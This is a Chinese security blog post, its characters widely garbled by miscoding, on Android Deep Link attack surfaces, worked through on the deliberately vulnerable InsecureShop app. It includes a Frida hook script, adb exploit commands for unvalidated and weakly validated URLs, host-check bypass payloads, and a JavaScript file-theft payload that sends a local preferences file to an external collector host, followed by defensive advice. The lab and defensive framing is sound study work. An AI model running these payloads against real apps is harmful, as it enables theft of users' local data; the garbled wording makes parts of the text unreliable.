关于安全防护:Android-Deep-Link-攻击面

48次阅读

共计 5422 个字符,预计需要花费 14 分钟才能阅读完成。

目录构造

Deep Link 介绍

  • 概念
  • 利用场景

提取并调用 APP 中的 Deep Link

  • 办法一:从 AndroidManifest 中提取
  • 办法二:应用 MobSF
  • 办法三:应用 Frida
  • 办法四:网页
  • 调用

攻击面剖析

  • URL 无验证
  • 弱主机验证
  • 窃取本地数据
  • 其余

    • 弱主机验证 - 升级版

防护倡议

参考链接

1.1. Deep Link 介绍

1.1.1. 概念

Android Deep Link(深层链接) 是一种非凡的链接协定,次要用于在应用程序之间导航和交互,应用 Deep Link 能够从一个 APP 跳转到另一个 APP 中相应的页面,实现 APP 间的无缝跳转。

举个大家相熟的例子,浏览器关上知乎时,会提醒“关上 App”,点击后,如果装置过知乎则会间接跳到利用的对应页面,如果没装置则跳转到下载利用页。

不过须要留神的是,下面的 * 没装置则跳转到下载利用页 *Deferred deeplink(提早深度链接),他和根底的 deeplink 相比,如果用户没有下载 APP,则疏导用户下载安装该 APP,且在装置启动后立刻跳转到指定的页面或性能中。

Deferred Deep Link 能够进步用户的体验和应用程序的转化率,因为它能够让用户间接跳转到指定的页面或性能,而无需手动查找。

1.1.2. 利用场景

  • 一键跳转: 在利用外部或利用内部间接跳转到指定页面或执行特定操作的性能。
  • 传参装置: 在利用市场或者推广渠道传递参数,以便在用户装置利用后,利用能够依据传递的参数主动进行初始化或者展现特定页面。
  • 分享闭环: 在利用内分享一个商品链接,用户点击链接能够间接跳转到商品详情页面。
  • 无码邀请: 在利用内点击邀请好友的按钮,能够生成一个惟一的邀请链接,并在邀请过程中跳转到利用内的注册页面。
  • 渠道追踪: 通过 deeplink 跳转到利用市场,能够记录该用户从哪个推广渠道下载利用,并将该信息传递给利用后盾进行数据统计和剖析。

1.2. 提取并调用 APP 中的 Deep Link

测试 APP:https://github.com/hax0rgb/InsecureShop/releases

1.2.1. 办法一:从 AndroidManifest 中提取

AndroidManifest.xml 中寻找android:scheme

能够看出,应用 insecureshop://com.insecureshop/ 能够启动 com.insecureshop.WebViewActivity 这个组件。

1.2.2. 办法二:应用 MobSF

1.2.3. 办法三:应用 Frida

通过 frida hook 进行监听,js 脚本如下

//Modified version of <https://codeshare.frida.re/@leolashkevych/android-deep-link-observer/>
//frida -U -p pid -l script.js
// Define a global object to store previously seen intents
var seenIntents = {};
Java.perform(function() {var Intent = Java.use("android.content.Intent");
    Intent.getData.implementation = function() {var action = this.getAction() !== null ? this.getAction().toString() : false;
        if (action) {
            // Create a unique key for the current intent by concatenating its action and data URI
            var key = action + '|' + (this.getData() !== null ? this.getData().toString() : '');
            // Check if this intent has been seen before
            if (seenIntents.hasOwnProperty(key)) {return this.getData();
            } else {
                // Mark this intent as seen by adding it to the global object
                seenIntents[key] = true;
                console.log("[*] Intent.getData() was called");
                console.log("[*] Activity:" + (this.getComponent() !== null ? this.getComponent().getClassName() : "unknown"));
                console.log("[*] Action:" + action);
                var uri = this.getData();
                if (uri !== null) {console.log("\\n[*] Data");
                    uri.getScheme() && console.log("- Scheme:\\t" + uri.getScheme() + "://");
                    uri.getHost() && console.log("- Host:\\t\\t/" + uri.getHost());
                    uri.getQuery() && console.log("- Params:\\t" + uri.getQuery());
                    uri.getFragment() && console.log("- Fragment:\\t" + uri.getFragment());
                    console.log("\\n\\n");
                } else {console.log("[-] No data supplied.");
                }
            }
        }
        return this.getData();}
});

hook

# 找到 system 的 pid
frida-ps -U | grep system_server
# hook
frida -U -l deeplink.js -p 7309

1.2.4. 办法四:网页

这个办法不是很好用,然而有助于在开掘的时候发现一些 deep link

还是以知乎为例,关上控制台,点击“关上 APP”后,观察报错,就能够拿到对应的 deep link。

1.2.5. 调用

个别为了不便,应用 adb 进行调用,命令如下:

adb shell am start -W -a android.intent.action.VIEW -d <deeplink>

也能够写一个 html,而后让手机拜访后点击调用(模仿实在的攻打环境)

<a href="<deeplink>">Click</a>

然而调用前,咱们还须要拿到对应的路由和参数,跟踪到对应的组件中,剖析如何结构,详见下方举例。

1.3. 攻击面剖析

还是须要依据具体情况具体分析,看本人可控的局部有哪些。

1.3.1. URL 无验证

齐全没有验证加载的 URL 地址。

剖析如图:

  1. 如果路由是 /web,则会进入else
  2. 从参数 url 中取值给 data
  3. 通过 webview 加载 data

所以利用调用的命令如下:

adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://blog.gm7.org/"

成果如下,胜利关上了我的博客

1.3.2. 弱主机验证

验证了 HOST,但能够被绕过。

剖析如图:

  1. 路由不是 /web 但路由是/webview
  2. 从参数 url 中取值给queryParameter
  3. 判断 queryParameter 是否以 insecureshopapp.com 结尾的
  4. 如果是,就把 url 的值赋值给 data
  5. 通过 webview 加载 data

这里只是要求了结尾必须呈现特定的字符串,所以很简略,如:

adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/webview?url=https://blog.gm7.org/?insecureshopapp.com"

就是惯例的 URL 跳转绕过,能够用 ?,也能够用#,还能够用参数格局a=insecureshopapp.com 等等。

1.3.3. 窃取本地数据

在下面 2 个根底上进行深刻利用,但我感觉有点鸡肋,因为 http 协定无奈跨域到 file 协定,就只能从 file 协定跨到 file 协定

上述 2 处其实都和 URL 跳转差不多,能够管制跳转到任意网站中,但这里因为是在手机客户端上执行的,所以也能够尝试通过 file 协定拜访到手机本地的一些敏感文件,从而尝试窃取。

不过要窃取本地文件,有 2 个前置条件:

  1. setAllowUniversalAccessFromFileURLs(true):默认状况下,Android WebView 不容许跨域拜访本地文件系统,即 getAllowUniversalAccessFromFileURLs() 办法的返回值为 false,如果要在 WebView 中容许跨域拜访本地文件系统,则须要应用setAllowUniversalAccessFromFileURLs() 办法来设置该选项为true
  2. setJavaScriptEnabled(true):默认状况下,WebView 不反对 JavaScript 代码执行,如果想要反对 js 代码,就须要调用 setJavaScriptEnabled(true) 这个办法,开启 js 代码执行。

在破绽环境中,这两个条件都是满足的,也就能够开始窃取了。


假如存在敏感文件:/data/data/com.insecureshop/shared_prefs/Prefs.xml

而后咱们进行加载敏感文件:

adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/data/com.insecureshop/shared_prefs/Prefs.xml"

如下图,能拜访到本地的文件。

但仅仅是这样还不够,因为只能拜访到,不能说是窃取了,因而须要进一步通过 js 来获取数据。

编写 html,将其保留为hello.html

 <script type="text/javascript">
        function theftFile(path, callback) {var req = new XMLHttpRequest();

          req.open("GET", "file://" + path, true);
          req.onload = function(e) {callback(req.responseText);
          }
          req.onerror = function(e) {callback(null);
          }
          req.send();}

        var file = "/data/data/com.insecureshop/shared_prefs/Prefs.xml";

        theftFile(file, function(contents) {location.href = "http://x42yrqsoq9fo74gv3bqtbfhfx63yrn.oastify.com/?data=" + encodeURIComponent(contents);
        });
    </script>

将其上传到可拜访的目录下,而后通过 webview 来加载这个 html

adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/data/com.insecureshop/shared_prefs/hello.html"

胜利获取到了数据。

​ Note

这里只能从 file 协定到 file 协定才能够胜利,如果从 http 协定到 file 协定,异样日志为:Cross origin requests are only supported for protocol schemes: http, data, chrome, https.

所以这里也是为什么认为利用比拟鸡肋的中央。

1.3.4. 其余

弱主机验证 - 升级版

通过 uri.getHost() 获取 host

 private boolean isValidUrl(String url) {Uri uri = Uri.parse(url);
    return "legitimate.com".equals(uri.getHost());
}

绕过 payload,通过其余协定。

javascript://legitimate.com/%0aalert(1)
file://legitimate.com/sdcard/exploit.html
content://legitimate.com/

1.4. 防护倡议

  • 对传入的内容进行查看荡涤,依据业务要求设置白名单等。
  • 如果 setJavaScriptEnabled 设置为true,则要对加载的 JS 内容严格验证。
  • 尽可能的将如下函数的返回值设置为 False

    • getAllowFileAccess
    • getAllowFileAccessFromFileURLs
    • getAllowUniversalAccessFromFileURLs

1.5. 参考链接

  • Android Deep Link Issues And WebView Exploitation | 8kSec Blogs
  • Android security checklist: WebView

正文完
 0